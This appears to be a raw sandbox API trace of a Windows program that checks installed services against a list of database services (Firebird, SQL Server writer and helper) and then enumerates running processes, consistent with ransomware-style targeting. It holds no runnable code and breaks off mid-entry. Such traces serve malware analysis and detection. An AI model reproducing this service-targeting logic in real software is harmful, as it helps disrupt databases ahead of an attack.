[0177.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0177.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0177.221] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0177.221] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0177.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0177.221] lstrlenW (lpString="Dnscache") returned 8 [0177.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0177.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0177.221] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0177.221] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0177.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0177.221] lstrlenW (lpString="DoSvc") returned 5 [0177.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0177.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0177.221] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0177.221] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0177.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0177.221] lstrlenW (lpString="DPS") returned 3 [0177.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0177.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0177.221] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0177.221] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0177.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0177.221] lstrlenW (lpString="DusmSvc") returned 7 [0177.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0177.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0177.221] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0177.221] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0177.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0177.221] lstrlenW (lpString="EventLog") returned 8 [0177.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0177.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0177.221] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0177.221] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0177.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0177.221] lstrlenW (lpString="EventSystem") returned 11 [0177.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0177.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0177.221] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0177.221] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0177.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0177.222] lstrlenW (lpString="gpsvc") returned 5 [0177.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0177.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0177.222] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0177.222] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0177.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0177.222] lstrlenW (lpString="iphlpsvc") returned 8 [0177.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0177.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0177.222] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0177.222] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0177.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0177.222] lstrlenW (lpString="KeyIso") returned 6 [0177.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0177.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0177.222] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0177.222] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0177.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0177.222] lstrlenW (lpString="LanmanServer") returned 12 [0177.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0177.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0177.222] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0177.222] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0177.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0177.222] lstrlenW (lpString="LanmanWorkstation") returned 17 [0177.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0177.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0177.222] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0177.222] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0177.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0177.222] lstrlenW (lpString="lfsvc") returned 5 [0177.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0177.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0177.222] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0177.222] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0177.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0177.222] lstrlenW (lpString="LicenseManager") returned 14 [0177.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0177.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0177.222] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0177.222] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0177.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0177.222] lstrlenW (lpString="lmhosts") returned 7 [0177.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0177.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0177.223] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0177.223] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0177.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0177.223] lstrlenW (lpString="LSM") returned 3 [0177.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0177.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0177.223] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0177.223] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0177.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0177.223] lstrlenW (lpString="MpsSvc") returned 6 [0177.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0177.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0177.223] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0177.223] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0177.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0177.223] lstrlenW (lpString="NcbService") returned 10 [0177.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0177.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0177.223] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0177.223] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0177.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0177.223] lstrlenW (lpString="netprofm") returned 8 [0177.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0177.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0177.223] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0177.223] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0177.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0177.223] lstrlenW (lpString="NlaSvc") returned 6 [0177.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0177.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0177.223] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0177.223] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0177.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0177.223] lstrlenW (lpString="nsi") returned 3 [0177.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0177.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0177.223] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0177.223] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0177.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0177.223] lstrlenW (lpString="PcaSvc") returned 6 [0177.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0177.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0177.223] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0177.223] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0177.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0177.223] lstrlenW (lpString="PlugPlay") returned 8 [0177.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0177.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0177.223] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0177.223] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0177.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0177.224] lstrlenW (lpString="Power") returned 5 [0177.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0177.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0177.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0177.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0177.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0177.224] lstrlenW (lpString="ProfSvc") returned 7 [0177.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0177.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0177.224] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0177.224] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0177.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0177.224] lstrlenW (lpString="RpcEptMapper") returned 12 [0177.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0177.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0177.224] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0177.224] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0177.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0177.224] lstrlenW (lpString="RpcSs") returned 5 [0177.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0177.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0177.224] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0177.224] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0177.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0177.224] lstrlenW (lpString="SamSs") returned 5 [0177.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0177.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0177.224] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0177.224] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0177.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0177.224] lstrlenW (lpString="Schedule") returned 8 [0177.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0177.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0177.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0177.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0177.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0177.224] lstrlenW (lpString="SecurityHealthService") returned 21 [0177.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0177.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0177.224] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0177.224] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0177.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0177.224] lstrlenW (lpString="SENS") returned 4 [0177.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0177.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0177.224] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0177.224] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0177.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0177.224] lstrlenW (lpString="ShellHWDetection") returned 16 [0177.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0177.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0177.224] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0177.224] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0177.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0177.225] lstrlenW (lpString="sppsvc") returned 6 [0177.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0177.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0177.225] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0177.225] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0177.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0177.225] lstrlenW (lpString="SSDPSRV") returned 7 [0177.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0177.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0177.225] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0177.225] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0177.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0177.225] lstrlenW (lpString="StateRepository") returned 15 [0177.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0177.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0177.225] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0177.225] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0177.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0177.225] lstrlenW (lpString="SysMain") returned 7 [0177.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0177.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0177.225] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0177.225] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0177.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0177.225] lstrlenW (lpString="SystemEventsBroker") returned 18 [0177.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0177.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0177.225] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0177.225] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0177.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0177.225] lstrlenW (lpString="Themes") returned 6 [0177.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0177.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0177.225] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0177.225] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0177.225] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0177.230] Process32FirstW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.231] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0177.231] lstrlenW (lpString="System") returned 6 [0177.231] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0177.232] lstrlenW (lpString="smss.exe") returned 8 [0177.232] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.232] lstrlenW (lpString="csrss.exe") returned 9 [0177.233] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0177.233] lstrlenW (lpString="wininit.exe") returned 11 [0177.233] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.233] lstrlenW (lpString="csrss.exe") returned 9 [0177.234] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0177.234] lstrlenW (lpString="winlogon.exe") returned 12 [0177.234] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0177.235] lstrlenW (lpString="services.exe") returned 12 [0177.235] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0177.235] lstrlenW (lpString="lsass.exe") returned 9 [0177.235] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.236] lstrlenW (lpString="svchost.exe") returned 11 [0177.236] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0177.236] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0177.236] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0177.237] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0177.237] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.237] lstrlenW (lpString="svchost.exe") returned 11 [0177.237] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0177.238] lstrlenW (lpString="dwm.exe") returned 7 [0177.238] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.239] lstrlenW (lpString="svchost.exe") returned 11 [0177.239] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.239] lstrlenW (lpString="svchost.exe") returned 11 [0177.239] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.240] lstrlenW (lpString="svchost.exe") returned 11 [0177.240] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.240] lstrlenW (lpString="svchost.exe") returned 11 [0177.240] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.241] lstrlenW (lpString="svchost.exe") returned 11 [0177.241] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.241] lstrlenW (lpString="svchost.exe") returned 11 [0177.241] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.242] lstrlenW (lpString="svchost.exe") returned 11 [0177.242] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.242] lstrlenW (lpString="svchost.exe") returned 11 [0177.242] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.242] lstrlenW (lpString="svchost.exe") returned 11 [0177.243] Process32NextW (in: hSnapshot=0x370, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, 